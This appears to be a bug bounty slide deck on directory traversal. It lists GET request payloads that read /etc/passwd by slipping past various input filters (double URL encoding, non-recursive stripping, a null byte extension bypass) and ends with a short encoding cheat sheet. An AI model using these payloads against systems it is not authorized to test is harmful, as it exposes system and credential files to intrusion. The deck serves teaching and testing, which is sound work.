



# Directory Traversal Bug Hunting Methodology

Become a Successful  
Bug Bounty Hunter



## DIRECTORY TRAVERSAL

Directory Traversal is a type of web application attack where an attacker gains unauthorized access to files and directories stored on a web server by manipulating input parameters to navigate outside of the web root directory.



# DIRECTORY TRAVERSAL

Normal request

GET /image?filename=image1.jpg





# DIRECTORY TRAVERSAL

File path traversal, simple case

GET /image?filename=../ ../ ../etc/passwd



# DIRECTORY TRAVERSAL

File path traversal, traversal sequences  
blocked with absolute path bypass

GET /image?filename=**/etc/passwd**



# DIRECTORY TRAVERSAL

File path traversal, traversal sequences  
stripped non-recursively

GET /image?filename=....//....//....//etc/passwd



# DIRECTORY TRAVERSAL

File path traversal, traversal sequences  
stripped with superfluous URL-decode  
(Double URL encoded `../../../../etc/passwd`)

GET

`/image?filename=%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%36%35%25%37%34%25%36%33%25%32%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%34`





# DIRECTORY TRAVERSAL

File path traversal, validation of start of path

GET

/image?filename=/var/www/images/../../  
../etc/passwd





# DIRECTORY TRAVERSAL

File path traversal, validation of file extension with null byte bypass

GET /image?filename=../../../../etc/passwd%00.jpg



# DIRECTORY TRAVERSAL

## URL encoding

. = %2e

/ = %2f

../ = %2e%2e%2f

## Double URL encoding:

. = %25%32%65

/ = %25%32%66

../ = %25%32%65%25%32%65%25%32%66

## Bypass filter:

..././ = ../

....// = ../



Thank You!

Become a Successful  
Bug Bounty Hunter